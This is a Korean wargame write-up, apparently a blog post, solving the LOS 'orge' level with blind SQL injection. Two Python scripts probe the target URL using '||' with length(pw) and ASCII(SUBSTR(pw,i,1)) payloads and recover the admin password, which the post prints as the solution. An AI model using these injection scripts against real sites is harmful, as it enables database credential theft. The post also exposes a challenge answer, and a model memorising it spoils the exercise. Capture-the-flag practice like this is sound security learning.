wargame 풀이/LOS
LOS 7번 풀이 (orge)
yehey
2020. 10. 9. 00:53
이번에는 or과 and를 사용하지 못하게 하고 있다.
또, SQL 쿼리문이 2개가 보이는데, 하나는 id='guest'이고, 나머지 하나는 id='admin'이다.
pw를 전달하면 1번째 쿼리문을 실행하고 같은 pw 값으로 2번째 쿼리문까지 실행한다.
solve는 입력한 pw와 id='admin'의 pw가 같을 때 실행되고
addslashes로 인해 쿼리문은 전달되지 않아 정확한 admin의 pw를 파라미터로 전달해야한다.
id가 존재할 때 Hello+id가 화면에 출력되는 것을 이용해 Blind SQL injection 공격을 통해 admin의 pw길이와 pw를 순서대로 알아내보자
우선 admin의 pw 길이를 얻는 코드는 다음과 같다. (python)
import string
import requests
my_cookies=dict(PHPSESSID="r5th9ok3t20e580ht6srosm6gq") #쿠키 값
idLength=0
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='||"
#abc=string.digits + string.ascii_letters
print("Start Blind attack")
while(1):
idLength +=1
param="length(pw)="+str(idLength)+"%23"
new_url=url+param
res=requests.get(new_url,cookies=my_cookies)
if res.text.find("Hello admin") > 0:
break
print("password length is: "+str(idLength))
실행시키면 다음과 같은 결과가 나온다.
id='admin'인 사용자의 pw 길이는 8이다.
한번 페이지에서 확인해보자
이제 pw 길이를 알았으니 pw를 얻어내보자
import string
import requests
my_cookies=dict(PHPSESSID="qp4susl9al64mjpmu6950ubdhm") #쿠키 값
idLength=8
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' || "
abc=string.digits + string.ascii_letters
print("Start Blind attack")
result=""
for i in range(1,idLength+1):
for a in abc:
param="ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
new_url=url+param
res=requests.get(new_url,cookies=my_cookies)
if res.text.find("Hello admin") > 0:
print(str(i)+"번째 char is :" + a)
result += a
break
print("result:"+result)
실행결과는 다음과 같다.
id='admin'인 사용자의 pw는 7b751aec이다.
이제 이 pw를 URL을 통해 전달해주자.
?pw=7b751aec